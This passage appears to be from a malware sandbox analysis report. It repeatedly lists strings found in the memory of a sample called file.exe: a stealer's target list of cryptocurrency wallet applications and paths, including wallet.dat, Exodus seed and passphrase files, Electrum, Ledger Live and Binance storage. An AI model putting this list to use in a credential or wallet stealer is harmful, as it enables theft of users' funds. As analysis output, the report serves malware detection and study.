Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 